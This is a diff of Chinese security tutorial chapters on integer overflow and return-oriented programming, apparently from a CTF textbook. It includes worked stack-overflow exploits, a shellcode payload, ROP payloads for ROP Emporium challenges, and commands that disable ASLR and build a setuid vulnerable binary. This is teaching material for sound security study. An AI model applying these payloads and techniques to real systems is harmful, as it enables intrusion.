使用下图直观地理解回绕,在轮上按顺时针方向将值递增产生的值紧挨着它:
|
||||
|
||||
![](../pic/1.5.1_unsigned_integer.png)
|
||||
![img](../pic/1.5.1_unsigned_integer.png)
|
||||
|
||||
```c
|
||||
unsigned int ui;
|
||||
@ -60,24 +67,30 @@ ui--;
|
||||
printf("ui = %u\n", ui); // 在 x86-32 上,ui = 4 294 967 295
|
||||
```
|
||||
|
||||
#### 截断
|
||||
### 截断
|
||||
|
||||
- 加法截断:
|
||||
|
||||
```text
|
||||
0xffffffff + 0x00000001
|
||||
= 0x0000000100000000 (long long)
|
||||
= 0x00000000 (long)
|
||||
```
|
||||
|
||||
- 乘法截断:
|
||||
|
||||
```text
|
||||
0x00123456 * 0x00654321
|
||||
= 0x000007336BF94116 (long long)
|
||||
= 0x6BF94116 (long)
|
||||
```
|
||||
|
||||
#### 整型提升和宽度溢出
|
||||
### 整型提升和宽度溢出
|
||||
|
||||
整型提升是指当计算表达式中包含了不同宽度的操作数时,较小宽度的操作数会被提升到和较大操作数一样的宽度,然后再进行计算。
|
||||
|
||||
示例:[源码](../src/others/3.1.2_integer_overflow/width_overflow.c)
|
||||
|
||||
```c
|
||||
#include<stdio.h>
|
||||
void main() {
|
||||
@ -98,6 +111,7 @@ void main() {
|
||||
printf("s + c = 0x%x (%d bits)\n", s+c, sizeof(s+c) * 8);
|
||||
}
|
||||
```
|
||||
|
||||
```text
|
||||
$ ./a.out
|
||||
宽度溢出
|
||||
@ -107,83 +121,87 @@ c = 0xffffffba (8 bits)
|
||||
整型提升
|
||||
s + c = 0xffffdc74 (32 bits)
|
||||
```
|
||||
|
||||
使用 gdb 查看反汇编代码:
|
||||
|
||||
```text
|
||||
gdb-peda$ disassemble main
|
||||
Dump of assembler code for function main:
|
||||
0x0000056d <+0>: lea ecx,[esp+0x4]
|
||||
0x00000571 <+4>: and esp,0xfffffff0
|
||||
0x00000574 <+7>: push DWORD PTR [ecx-0x4]
|
||||
0x00000577 <+10>: push ebp
|
||||
0x00000578 <+11>: mov ebp,esp
|
||||
0x0000057a <+13>: push ebx
|
||||
0x0000057b <+14>: push ecx
|
||||
0x0000057c <+15>: sub esp,0x10
|
||||
0x0000057f <+18>: call 0x470 <__x86.get_pc_thunk.bx>
|
||||
0x00000584 <+23>: add ebx,0x1a7c
|
||||
0x0000058a <+29>: mov DWORD PTR [ebp-0xc],0xabcddcba
|
||||
0x00000591 <+36>: mov eax,DWORD PTR [ebp-0xc]
|
||||
0x00000594 <+39>: mov WORD PTR [ebp-0xe],ax
|
||||
0x00000598 <+43>: mov eax,DWORD PTR [ebp-0xc]
|
||||
0x0000059b <+46>: mov BYTE PTR [ebp-0xf],al
|
||||
0x0000059e <+49>: sub esp,0xc
|
||||
0x000005a1 <+52>: lea eax,[ebx-0x1940]
|
||||
0x000005a7 <+58>: push eax
|
||||
0x000005a8 <+59>: call 0x400 <puts@plt>
|
||||
0x000005ad <+64>: add esp,0x10
|
||||
0x000005b0 <+67>: sub esp,0x4
|
||||
0x000005b3 <+70>: push 0x20
|
||||
0x000005b5 <+72>: push DWORD PTR [ebp-0xc]
|
||||
0x000005b8 <+75>: lea eax,[ebx-0x1933]
|
||||
0x000005be <+81>: push eax
|
||||
0x000005bf <+82>: call 0x3f0 <printf@plt>
|
||||
0x000005c4 <+87>: add esp,0x10
|
||||
0x000005c7 <+90>: movsx eax,WORD PTR [ebp-0xe]
|
||||
0x000005cb <+94>: sub esp,0x4
|
||||
0x000005ce <+97>: push 0x10
|
||||
0x000005d0 <+99>: push eax
|
||||
0x000005d1 <+100>: lea eax,[ebx-0x191f]
|
||||
0x000005d7 <+106>: push eax
|
||||
0x000005d8 <+107>: call 0x3f0 <printf@plt>
|
||||
0x000005dd <+112>: add esp,0x10
|
||||
0x000005e0 <+115>: movsx eax,BYTE PTR [ebp-0xf]
|
||||
0x000005e4 <+119>: sub esp,0x4
|
||||
0x000005e7 <+122>: push 0x8
|
||||
0x000005e9 <+124>: push eax
|
||||
0x000005ea <+125>: lea eax,[ebx-0x190b]
|
||||
0x000005f0 <+131>: push eax
|
||||
0x000005f1 <+132>: call 0x3f0 <printf@plt>
|
||||
0x000005f6 <+137>: add esp,0x10
|
||||
0x000005f9 <+140>: sub esp,0xc
|
||||
0x000005fc <+143>: lea eax,[ebx-0x18f7]
|
||||
0x00000602 <+149>: push eax
|
||||
0x00000603 <+150>: call 0x400 <puts@plt>
|
||||
0x00000608 <+155>: add esp,0x10
|
||||
0x0000060b <+158>: movsx edx,WORD PTR [ebp-0xe]
|
||||
0x0000060f <+162>: movsx eax,BYTE PTR [ebp-0xf]
|
||||
0x00000613 <+166>: add eax,edx
|
||||
0x00000615 <+168>: sub esp,0x4
|
||||
0x00000618 <+171>: push 0x20
|
||||
0x0000061a <+173>: push eax
|
||||
0x0000061b <+174>: lea eax,[ebx-0x18ea]
|
||||
0x00000621 <+180>: push eax
|
||||
0x00000622 <+181>: call 0x3f0 <printf@plt>
|
||||
0x00000627 <+186>: add esp,0x10
|
||||
0x0000062a <+189>: nop
|
||||
0x0000062b <+190>: lea esp,[ebp-0x8]
|
||||
0x0000062e <+193>: pop ecx
|
||||
0x0000062f <+194>: pop ebx
|
||||
0x00000630 <+195>: pop ebp
|
||||
0x00000631 <+196>: lea esp,[ecx-0x4]
|
||||
0x00000634 <+199>: ret
|
||||
0x0000056d <+0>: lea ecx,[esp+0x4]
|
||||
0x00000571 <+4>: and esp,0xfffffff0
|
||||
0x00000574 <+7>: push DWORD PTR [ecx-0x4]
|
||||
0x00000577 <+10>: push ebp
|
||||
0x00000578 <+11>: mov ebp,esp
|
||||
0x0000057a <+13>: push ebx
|
||||
0x0000057b <+14>: push ecx
|
||||
0x0000057c <+15>: sub esp,0x10
|
||||
0x0000057f <+18>: call 0x470 <__x86.get_pc_thunk.bx>
|
||||
0x00000584 <+23>: add ebx,0x1a7c
|
||||
0x0000058a <+29>: mov DWORD PTR [ebp-0xc],0xabcddcba
|
||||
0x00000591 <+36>: mov eax,DWORD PTR [ebp-0xc]
|
||||
0x00000594 <+39>: mov WORD PTR [ebp-0xe],ax
|
||||
0x00000598 <+43>: mov eax,DWORD PTR [ebp-0xc]
|
||||
0x0000059b <+46>: mov BYTE PTR [ebp-0xf],al
|
||||
0x0000059e <+49>: sub esp,0xc
|
||||
0x000005a1 <+52>: lea eax,[ebx-0x1940]
|
||||
0x000005a7 <+58>: push eax
|
||||
0x000005a8 <+59>: call 0x400 <puts@plt>
|
||||
0x000005ad <+64>: add esp,0x10
|
||||
0x000005b0 <+67>: sub esp,0x4
|
||||
0x000005b3 <+70>: push 0x20
|
||||
0x000005b5 <+72>: push DWORD PTR [ebp-0xc]
|
||||
0x000005b8 <+75>: lea eax,[ebx-0x1933]
|
||||
0x000005be <+81>: push eax
|
||||
0x000005bf <+82>: call 0x3f0 <printf@plt>
|
||||
0x000005c4 <+87>: add esp,0x10
|
||||
0x000005c7 <+90>: movsx eax,WORD PTR [ebp-0xe]
|
||||
0x000005cb <+94>: sub esp,0x4
|
||||
0x000005ce <+97>: push 0x10
|
||||
0x000005d0 <+99>: push eax
|
||||
0x000005d1 <+100>: lea eax,[ebx-0x191f]
|
||||
0x000005d7 <+106>: push eax
|
||||
0x000005d8 <+107>: call 0x3f0 <printf@plt>
|
||||
0x000005dd <+112>: add esp,0x10
|
||||
0x000005e0 <+115>: movsx eax,BYTE PTR [ebp-0xf]
|
||||
0x000005e4 <+119>: sub esp,0x4
|
||||
0x000005e7 <+122>: push 0x8
|
||||
0x000005e9 <+124>: push eax
|
||||
0x000005ea <+125>: lea eax,[ebx-0x190b]
|
||||
0x000005f0 <+131>: push eax
|
||||
0x000005f1 <+132>: call 0x3f0 <printf@plt>
|
||||
0x000005f6 <+137>: add esp,0x10
|
||||
0x000005f9 <+140>: sub esp,0xc
|
||||
0x000005fc <+143>: lea eax,[ebx-0x18f7]
|
||||
0x00000602 <+149>: push eax
|
||||
0x00000603 <+150>: call 0x400 <puts@plt>
|
||||
0x00000608 <+155>: add esp,0x10
|
||||
0x0000060b <+158>: movsx edx,WORD PTR [ebp-0xe]
|
||||
0x0000060f <+162>: movsx eax,BYTE PTR [ebp-0xf]
|
||||
0x00000613 <+166>: add eax,edx
|
||||
0x00000615 <+168>: sub esp,0x4
|
||||
0x00000618 <+171>: push 0x20
|
||||
0x0000061a <+173>: push eax
|
||||
0x0000061b <+174>: lea eax,[ebx-0x18ea]
|
||||
0x00000621 <+180>: push eax
|
||||
0x00000622 <+181>: call 0x3f0 <printf@plt>
|
||||
0x00000627 <+186>: add esp,0x10
|
||||
0x0000062a <+189>: nop
|
||||
0x0000062b <+190>: lea esp,[ebp-0x8]
|
||||
0x0000062e <+193>: pop ecx
|
||||
0x0000062f <+194>: pop ebx
|
||||
0x00000630 <+195>: pop ebp
|
||||
0x00000631 <+196>: lea esp,[ecx-0x4]
|
||||
0x00000634 <+199>: ret
|
||||
End of assembler dump.
|
||||
```
|
||||
|
||||
在整数转换的过程中,有可能导致下面的错误:
|
||||
|
||||
- 损失值:转换为值的大小不能表示的一种类型
|
||||
- 损失符号:从有符号类型转换为无符号类型,导致损失符号
|
||||
|
||||
#### 漏洞多发函数
|
||||
### 漏洞多发函数
|
||||
|
||||
我们说过整数溢出要配合上其他类型的缺陷才能有用,下面的两个函数都有一个 `size_t` 类型的参数,常常被误用而产生整数溢出,接着就可能导致缓冲区溢出漏洞。
|
||||
|
||||
```c
|
||||
@ -191,6 +209,7 @@ End of assembler dump.
|
||||
|
||||
void *memcpy(void *dest, const void *src, size_t n);
|
||||
```
|
||||
|
||||
`memcpy()` 函数将 `src` 所指向的字符串中以 `src` 地址开始的前 `n` 个字节复制到 `dest` 所指的数组中,并返回 `dest`。
|
||||
|
||||
```c
|
||||
@ -198,20 +217,24 @@ void *memcpy(void *dest, const void *src, size_t n);
|
||||
|
||||
char *strncpy(char *dest, const char *src, size_t n);
|
||||
```
|
||||
|
||||
`strncpy()` 函数从源 `src` 所指的内存地址的起始位置开始复制 `n` 个字节到目标 `dest` 所指的内存地址的起始位置中。
|
||||
|
||||
两个函数中都有一个类型为 `size_t` 的参数,它是无符号整型的 `sizeof` 运算符的结果。
|
||||
|
||||
```c
|
||||
typedef unsigned int size_t;
|
||||
```
|
||||
|
||||
|
||||
## 整数溢出示例
|
||||
|
||||
现在我们已经知道了整数溢出的原理和主要形式,下面我们先看几个简单示例,然后实际操作利用一个整数溢出漏洞。
|
||||
|
||||
#### 示例
|
||||
### 示例
|
||||
|
||||
示例一,整数转换:
|
||||
```
|
||||
|
||||
```c
|
||||
char buf[80];
|
||||
void vulnerable() {
|
||||
int len = read_int_from_network();
|
||||
@ -223,9 +246,11 @@ void vulnerable() {
|
||||
memcpy(buf, p, len);
|
||||
}
|
||||
```
|
||||
|
||||
这个例子的问题在于,如果攻击者给 `len` 赋于了一个负数,则可以绕过 `if` 语句的检测,而执行到 `memcpy()` 的时候,由于第三个参数是 `size_t` 类型,负数 `len` 会被转换为一个无符号整型,它可能是一个非常大的正数,从而复制了大量的内容到 `buf` 中,引发了缓冲区溢出。
|
||||
|
||||
示例二,回绕和溢出:
|
||||
|
||||
```c
|
||||
void vulnerable() {
|
||||
size_t len;
|
||||
@ -238,10 +263,12 @@ void vulnerable() {
|
||||
...
|
||||
}
|
||||
```
|
||||
|
||||
这个例子看似避开了缓冲区溢出的问题,但是如果 `len` 过大,`len+5` 有可能发生回绕。比如说,在 x86-32 上,如果 `len = 0xFFFFFFFF`,则 `len+5 = 0x00000004`,这时 `malloc()` 只分配了 4 字节的内存区域,然后在里面写入大量的数据,缓冲区溢出也就发生了。(如果将 `len` 声明为有符号 `int` 类型,`len+5` 可能发生溢出)
|
||||
|
||||
示例三,截断:
|
||||
```
|
||||
|
||||
```text
|
||||
void main(int argc, char *argv[]) {
|
||||
unsigned short int total;
|
||||
total = strlen(argv[1]) + strlen(argv[2]) + 1;
|
||||
@ -251,35 +278,40 @@ void main(int argc, char *argv[]) {
|
||||
...
|
||||
}
|
||||
```
|
||||
|
||||
这个例子接受两个字符串类型的参数并计算它们的总长度,程序分配足够的内存来存储拼接后的字符串。首先将第一个字符串参数复制到缓冲区中,然后将第二个参数连接到尾部。如果攻击者提供的两个字符串总长度无法用 `total` 表示,则会发生截断,从而导致后面的缓冲区溢出。
|
||||
|
||||
#### 实战
|
||||
### 实战
|
||||
|
||||
看了上面的示例,我们来真正利用一个整数溢出漏洞。[源码](../src/others/3.1.2_integer_overflow/integer.c)
|
||||
|
||||
```c
|
||||
#include<stdio.h>
|
||||
#include<string.h>
|
||||
void validate_passwd(char *passwd) {
|
||||
char passwd_buf[11];
|
||||
unsigned char passwd_len = strlen(passwd);
|
||||
if(passwd_len >= 4 && passwd_len <= 8) {
|
||||
printf("good!\n");
|
||||
strcpy(passwd_buf, passwd);
|
||||
} else {
|
||||
printf("bad!\n");
|
||||
}
|
||||
char passwd_buf[11];
|
||||
unsigned char passwd_len = strlen(passwd);
|
||||
if(passwd_len >= 4 && passwd_len <= 8) {
|
||||
printf("good!\n");
|
||||
strcpy(passwd_buf, passwd);
|
||||
} else {
|
||||
printf("bad!\n");
|
||||
}
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
if(argc != 2) {
|
||||
printf("error\n");
|
||||
return 0;
|
||||
}
|
||||
validate_passwd(argv[1]);
|
||||
if(argc != 2) {
|
||||
printf("error\n");
|
||||
return 0;
|
||||
}
|
||||
validate_passwd(argv[1]);
|
||||
}
|
||||
```
|
||||
|
||||
上面的程序中 `strlen()` 返回类型是 `size_t`,却被存储在无符号字符串类型中,任意超过无符号字符串最大上限值(256 字节)的数据都会导致截断异常。当密码长度为 261 时,截断后值变为 5,成功绕过了 `if` 的判断,导致栈溢出。下面我们利用溢出漏洞来获得 shell。
|
||||
|
||||
编译命令:
|
||||
|
||||
```text
|
||||
# echo 0 > /proc/sys/kernel/randomize_va_space
|
||||
$ gcc -g -fno-stack-protector -z execstack vuln.c
|
||||
@ -287,49 +319,53 @@ $ sudo chown root vuln
|
||||
$ sudo chgrp root vuln
|
||||
$ sudo chmod +s vuln
|
||||
```
|
||||
|
||||
使用 gdb 反汇编 `validate_passwd` 函数。
|
||||
|
||||
```text
|
||||
gdb-peda$ disassemble validate_passwd
|
||||
Dump of assembler code for function validate_passwd:
|
||||
0x0000059d <+0>: push ebp ; 压入 ebp
|
||||
0x0000059e <+1>: mov ebp,esp
|
||||
0x000005a0 <+3>: push ebx ; 压入 ebx
|
||||
0x000005a1 <+4>: sub esp,0x14
|
||||
0x000005a4 <+7>: call 0x4a0 <__x86.get_pc_thunk.bx>
|
||||
0x000005a9 <+12>: add ebx,0x1a57
|
||||
0x000005af <+18>: sub esp,0xc
|
||||
0x000005b2 <+21>: push DWORD PTR [ebp+0x8]
|
||||
0x000005b5 <+24>: call 0x430 <strlen@plt>
|
||||
0x000005ba <+29>: add esp,0x10
|
||||
0x000005bd <+32>: mov BYTE PTR [ebp-0x9],al ; 将 len 存入 [ebp-0x9]
|
||||
0x000005c0 <+35>: cmp BYTE PTR [ebp-0x9],0x3
|
||||
0x000005c4 <+39>: jbe 0x5f2 <validate_passwd+85>
|
||||
0x000005c6 <+41>: cmp BYTE PTR [ebp-0x9],0x8
|
||||
0x000005ca <+45>: ja 0x5f2 <validate_passwd+85>
|
||||
0x000005cc <+47>: sub esp,0xc
|
||||
0x000005cf <+50>: lea eax,[ebx-0x1910]
|
||||
0x000005d5 <+56>: push eax
|
||||
0x000005d6 <+57>: call 0x420 <puts@plt>
|
||||
0x000005db <+62>: add esp,0x10
|
||||
0x000005de <+65>: sub esp,0x8
|
||||
0x000005e1 <+68>: push DWORD PTR [ebp+0x8]
|
||||
0x000005e4 <+71>: lea eax,[ebp-0x14] ; 取 passwd_buf 地址
|
||||
0x000005e7 <+74>: push eax ; 压入 passwd_buf
|
||||
0x000005e8 <+75>: call 0x410 <strcpy@plt>
|
||||
0x000005ed <+80>: add esp,0x10
|
||||
0x000005f0 <+83>: jmp 0x604 <validate_passwd+103>
|
||||
0x000005f2 <+85>: sub esp,0xc
|
||||
0x000005f5 <+88>: lea eax,[ebx-0x190a]
|
||||
0x000005fb <+94>: push eax
|
||||
0x000005fc <+95>: call 0x420 <puts@plt>
|
||||
0x00000601 <+100>: add esp,0x10
|
||||
0x00000604 <+103>: nop
|
||||
0x00000605 <+104>: mov ebx,DWORD PTR [ebp-0x4]
|
||||
0x00000608 <+107>: leave
|
||||
0x00000609 <+108>: ret
|
||||
0x0000059d <+0>: push ebp ; 压入 ebp
|
||||
0x0000059e <+1>: mov ebp,esp
|
||||
0x000005a0 <+3>: push ebx ; 压入 ebx
|
||||
0x000005a1 <+4>: sub esp,0x14
|
||||
0x000005a4 <+7>: call 0x4a0 <__x86.get_pc_thunk.bx>
|
||||
0x000005a9 <+12>: add ebx,0x1a57
|
||||
0x000005af <+18>: sub esp,0xc
|
||||
0x000005b2 <+21>: push DWORD PTR [ebp+0x8]
|
||||
0x000005b5 <+24>: call 0x430 <strlen@plt>
|
||||
0x000005ba <+29>: add esp,0x10
|
||||
0x000005bd <+32>: mov BYTE PTR [ebp-0x9],al ; 将 len 存入 [ebp-0x9]
|
||||
0x000005c0 <+35>: cmp BYTE PTR [ebp-0x9],0x3
|
||||
0x000005c4 <+39>: jbe 0x5f2 <validate_passwd+85>
|
||||
0x000005c6 <+41>: cmp BYTE PTR [ebp-0x9],0x8
|
||||
0x000005ca <+45>: ja 0x5f2 <validate_passwd+85>
|
||||
0x000005cc <+47>: sub esp,0xc
|
||||
0x000005cf <+50>: lea eax,[ebx-0x1910]
|
||||
0x000005d5 <+56>: push eax
|
||||
0x000005d6 <+57>: call 0x420 <puts@plt>
|
||||
0x000005db <+62>: add esp,0x10
|
||||
0x000005de <+65>: sub esp,0x8
|
||||
0x000005e1 <+68>: push DWORD PTR [ebp+0x8]
|
||||
0x000005e4 <+71>: lea eax,[ebp-0x14] ; 取 passwd_buf 地址
|
||||
0x000005e7 <+74>: push eax ; 压入 passwd_buf
|
||||
0x000005e8 <+75>: call 0x410 <strcpy@plt>
|
||||
0x000005ed <+80>: add esp,0x10
|
||||
0x000005f0 <+83>: jmp 0x604 <validate_passwd+103>
|
||||
0x000005f2 <+85>: sub esp,0xc
|
||||
0x000005f5 <+88>: lea eax,[ebx-0x190a]
|
||||
0x000005fb <+94>: push eax
|
||||
0x000005fc <+95>: call 0x420 <puts@plt>
|
||||
0x00000601 <+100>: add esp,0x10
|
||||
0x00000604 <+103>: nop
|
||||
0x00000605 <+104>: mov ebx,DWORD PTR [ebp-0x4]
|
||||
0x00000608 <+107>: leave
|
||||
0x00000609 <+108>: ret
|
||||
End of assembler dump.
|
||||
```
|
||||
通过阅读反汇编代码,我们知道缓冲区 `passwd_buf` 位于 `ebp=0x14` 的位置(`0x000005e4 <+71>: lea eax,[ebp-0x14]`),而返回地址在 `ebp+4` 的位置,所以返回地址相对于缓冲区 `0x18` 的位置。我们测试一下:
|
||||
|
||||
通过阅读反汇编代码,我们知道缓冲区 `passwd_buf` 位于 `ebp=0x14` 的位置(`0x000005e4 <+71>: lea eax,[ebp-0x14]`),而返回地址在 `ebp+4` 的位置,所以返回地址相对于缓冲区 `0x18` 的位置。我们测试一下:
|
||||
|
||||
```text
|
||||
gdb-peda$ r `python2 -c 'print "A"*24 + "B"*4 + "C"*233'`
|
||||
Starting program: /home/a.out `python2 -c 'print "A"*24 + "B"*4 + "C"*233'`
|
||||
@ -363,7 +399,9 @@ Legend: code, data, rodata, value
|
||||
Stopped reason: SIGSEGV
|
||||
0x42424242 in ?? ()
|
||||
```
|
||||
|
||||
可以看到 `EIP` 被 `BBBB` 覆盖,相当于我们获得了返回地址的控制权。构建下面的 payload:
|
||||
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -377,5 +415,4 @@ payload += asm(shellcode)
|
||||
payload += "C" * 169 # 24 + 4 + 20 + 44 + 169 = 261
|
||||
```
|
||||
|
||||
|
||||
## CTF 中的整数溢出
|
||||
|
@ -20,21 +20,24 @@
|
||||
- [pivot](#pivot)
|
||||
- [更多资料](#更多资料)
|
||||
|
||||
|
||||
## ROP 简介
|
||||
|
||||
返回导向编程(Return-Oriented Programming,缩写:ROP)是一种高级的内存攻击技术,该技术允许攻击者在现代操作系统的各种通用防御下执行代码,如内存不可执行和代码签名等。这类攻击往往利用操作堆栈调用时的程序漏洞,通常是缓冲区溢出。攻击者控制堆栈调用以劫持程序控制流并执行针对性的机器语言指令序列(gadgets),每一段 gadget 通常以 return 指令(`ret`,机器码为`c3`)结束,并位于共享库代码中的子程序中。通过执行这些指令序列,也就控制了程序的执行。
|
||||
|
||||
`ret` 指令相当于 `pop eip`。即,首先将 `esp` 指向的 4 字节内容读取并赋值给 `eip`,然后 `esp` 加上 4 字节指向栈的下一个位置。如果当前执行的指令序列仍然以 `ret` 指令结束,则这个过程将重复, `esp` 再次增加并且执行下一个指令序列。
|
||||
|
||||
#### 寻找 gadgets
|
||||
### 寻找 gadgets
|
||||
|
||||
1. 在程序中寻找所有的 c3(ret) 字节
|
||||
2. 向前搜索,看前面的字节是否包含一个有效指令,这里可以指定最大搜索字节数,以获得不同长度的 gadgets
|
||||
3. 记录下我们找到的所有有效指令序列
|
||||
|
||||
理论上我们是可以这样寻找 gadgets 的,但实际上有很多工具可以完成这个工作,如 ROPgadget,Ropper 等。更完整的搜索可以使用 http://ropshell.com/。
|
||||
理论上我们是可以这样寻找 gadgets 的,但实际上有很多工具可以完成这个工作,如 ROPgadget,Ropper 等。更完整的搜索可以使用 <http://ropshell.com/>。
|
||||
|
||||
### 常用的 gadgets
|
||||
|
||||
#### 常用的 gadgets
|
||||
对于 gadgets 能做的事情,基本上只要你敢想,它就敢执行。下面简单介绍几种用法:
|
||||
|
||||
- 保存栈数据到寄存器
|
||||
- 将栈顶的数据抛出并保存到寄存器中,然后跳转到新的栈顶地址。所以当返回地址被一个 gadgets 的地址覆盖,程序将在返回后执行该指令序列。
|
||||
- 如:`pop eax; ret`
|
||||
@ -54,19 +57,21 @@
|
||||
- 这些 gadgets 会改变 ebp 的值,从而影响栈帧,在一些操作如 stack pivot 时我们需要这样的指令来转移栈帧。
|
||||
- 如:`leave; ret`, `pop ebp; ret`
|
||||
|
||||
|
||||
## ROP Emporium
|
||||
|
||||
[ROP Emporium](https://ropemporium.com) 提供了一系列用于学习 ROP 的挑战,每一个挑战都介绍了一个知识,难度也逐渐增加,是循序渐进学习 ROP 的好资料。ROP Emporium 还有个特点是它专注于 ROP,所有挑战都有相同的漏洞点,不同的只是 ROP 链构造的不同,所以不涉及其他的漏洞利用和逆向的内容。每个挑战都包含了 32 位和 64 位的程序,通过对比能帮助我们理解 ROP 链在不同体系结构下的差异,例如参数的传递等。这篇文章我们就从这些挑战中来学习吧。
|
||||
|
||||
这些挑战都包含一个 `flag.txt` 的文件,我们的目标就是通过控制程序执行,来打印出文件中的内容。当然你也可以尝试获得 shell。
|
||||
|
||||
[下载文件](../src/others/3.1.4_rop/rop_emporium.bin)
|
||||
|
||||
#### ret2win32
|
||||
### ret2win32
|
||||
|
||||
通常情况下,对于一个有缓冲区溢出的程序,我们通常先输入一定数量的字符填满缓冲区,然后是精心构造的 ROP 链,通过覆盖堆栈上保存的返回地址来实现函数跳转(关于缓冲区溢出请查看上一章 3.1.3栈溢出)。
|
||||
|
||||
第一个挑战我会尽量详细一点,因为所有挑战程序都有相似的结构,缓冲区大小都一样,我们看一下漏洞函数:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ disassemble pwnme
|
||||
Dump of assembler code for function pwnme:
|
||||
0x080485f6 <+0>: push ebp
|
||||
@ -121,8 +126,10 @@ Dump of assembler code for function ret2win:
|
||||
0x08048681 <+40>: ret
|
||||
End of assembler dump.
|
||||
```
|
||||
|
||||
函数 `pwnme()` 是存在缓冲区溢出的函数,它调用 `fgets()` 读取任意数据,但缓冲区的大小只有 40 字节(`0x0804864a <+84>: lea eax,[ebp-0x28]`,0x28=40),当输入大于 40 字节的数据时,就可以覆盖掉调用函数的 ebp 和返回地址:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ pattern_create 50
|
||||
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'
|
||||
gdb-peda$ r
|
||||
@ -168,12 +175,14 @@ gdb-peda$ pattern_offset $ebp
|
||||
gdb-peda$ pattern_offset $eip
|
||||
1094796865 found at offset: 44
|
||||
```
|
||||
|
||||
缓冲区距离 ebp 和 eip 的偏移分别为 40 和 44,这就验证了我们的假设。
|
||||
|
||||
通过查看程序的逻辑,虽然我们知道 .text 段中存在函数 `ret2win()`,但在程序执行中并没有调用到它,我们要做的就是用该函数的地址覆盖返回地址,使程序跳转到该函数中,从而打印出 flag,我们称这一类型的 ROP 为 ret2text。
|
||||
|
||||
还有一件重要的事情是 checksec:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ checksec
|
||||
CANARY : disabled
|
||||
FORTIFY : disabled
|
||||
@ -181,18 +190,22 @@ NX : ENABLED
|
||||
PIE : disabled
|
||||
RELRO : Partial
|
||||
```
|
||||
|
||||
这里开启了关闭了 PIE,所以 .text 的加载地址是不变的,可以直接使用 `ret2win()` 的地址 `0x08048659`。
|
||||
|
||||
payload 如下(注这篇文章中的paylaod我会使用多种方法来写,以展示各种工具的使用):
|
||||
```
|
||||
|
||||
```text
|
||||
$ python2 -c "print 'A'*44 + '\x59\x86\x04\x08'" | ./ret2win32
|
||||
...
|
||||
> Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!}
|
||||
```
|
||||
|
||||
#### ret2win
|
||||
### ret2win
|
||||
|
||||
现在是 64 位程序:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ disassemble pwnme
|
||||
Dump of assembler code for function pwnme:
|
||||
0x00000000004007b5 <+0>: push rbp
|
||||
@ -233,10 +246,12 @@ Dump of assembler code for function ret2win:
|
||||
0x0000000000400830 <+31>: ret
|
||||
End of assembler dump.
|
||||
```
|
||||
|
||||
首先与 32 位不同的是参数传递,64 位程序的前六个参数通过 RDI、RSI、RDX、RCX、R8 和 R9 传递。所以缓冲区大小参数通过 rdi 传递给 `fgets()`,大小为 32 字节。
|
||||
|
||||
而且由于 ret 的地址不存在,程序停在了 `=> 0x400810 <pwnme+91>: ret` 这一步,这是因为 64 位可以使用的内存地址不能大于 `0x00007fffffffffff`,否则就会抛出异常。
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ r
|
||||
Starting program: /home/firmy/Desktop/rop_emporium/ret2win/ret2win
|
||||
ret2win by ROP Emporium
|
||||
@ -297,6 +312,7 @@ AA0AAFAAb found at offset: 40
|
||||
```
|
||||
|
||||
`re2win()` 的地址为 `0x0000000000400811`,payload 如下:
|
||||
|
||||
```python
|
||||
from zio import *
|
||||
|
||||
@ -307,9 +323,11 @@ io.writeline(payload)
|
||||
io.read()
|
||||
```
|
||||
|
||||
#### split32
|
||||
### split32
|
||||
|
||||
这一题也是 ret2text,但这一次,我们有的是一个 `usefulFunction()` 函数:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ disassemble usefulFunction
|
||||
Dump of assembler code for function usefulFunction:
|
||||
0x08048649 <+0>: push ebp
|
||||
@ -324,20 +342,24 @@ Dump of assembler code for function usefulFunction:
|
||||
0x08048661 <+24>: ret
|
||||
End of assembler dump.
|
||||
```
|
||||
|
||||
它调用 `system()` 函数,而我们要做的是给它传递一个参数,执行该参数后可以打印出 flag。
|
||||
|
||||
使用 radare2 中的工具 rabin2 在 `.data` 段中搜索字符串:
|
||||
```
|
||||
|
||||
```text
|
||||
$ rabin2 -z split32
|
||||
...
|
||||
vaddr=0x0804a030 paddr=0x00001030 ordinal=000 sz=18 len=17 section=.data type=ascii string=/bin/cat flag.txt
|
||||
```
|
||||
|
||||
我们发现存在字符串 `/bin/cat flag.txt`,这正是我们需要的,地址为 `0x0804a030`。
|
||||
|
||||
下面构造 payload,这里就有两种方法,一种是直接使用调用 `system()` 函数的地址 `0x08048657`,另一种是使用 `system()` 的 plt 地址 `0x8048430`,在前面的章节中我们已经知道了 plt 的延迟绑定机制(1.5.6动态链接),这里我们再回顾一下:
|
||||
|
||||
绑定前:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ disassemble system
|
||||
Dump of assembler code for function system@plt:
|
||||
0x08048430 <+0>: jmp DWORD PTR ds:0x804a018
|
||||
@ -347,8 +369,10 @@ gdb-peda$ x/5x 0x804a018
|
||||
0x804a018: 0x08048436 0x08048446 0x08048456 0x08048466
|
||||
0x804a028: 0x00000000
|
||||
```
|
||||
|
||||
绑定后:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ disassemble system
|
||||
Dump of assembler code for function system:
|
||||
0xf7df9c50 <+0>: sub esp,0xc
|
||||
@ -372,14 +396,17 @@ gdb-peda$ x/5x 0x08048430
|
||||
0x8048430 <system@plt>: 0xa01825ff 0x18680804 0xe9000000 0xffffffb0
|
||||
0x8048440 <__libc_start_main@plt>: 0xa01c25ff
|
||||
```
|
||||
|
||||
其实这里讲 plt 不是很确切,因为 system 使用太频繁,在我们使用它之前,它就已经绑定了,在后面的挑战中我们会遇到没有绑定的情况。
|
||||
|
||||
两种 payload 如下:
|
||||
```
|
||||
|
||||
```text
|
||||
$ python2 -c "print 'A'*44 + '\x57\x86\x04\x08' + '\x30\xa0\x04\x08'" | ./split32
|
||||
...
|
||||
> ROPE{a_placeholder_32byte_flag!}
|
||||
```
|
||||
|
||||
```python
|
||||
from zio import *
|
||||
|
||||
@ -392,17 +419,20 @@ io = zio('./split32')
|
||||
